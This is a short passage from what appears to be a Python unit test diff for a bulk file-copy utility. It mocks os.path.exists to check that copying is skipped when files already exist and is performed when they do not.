+ assert util.copy_file_bulk(["file"], src_path, target_path)
+ mock_copy_file.assert_not_called()
# Files do not exist, perform the copy operation.
with patch("os.path.exists", return_value=False):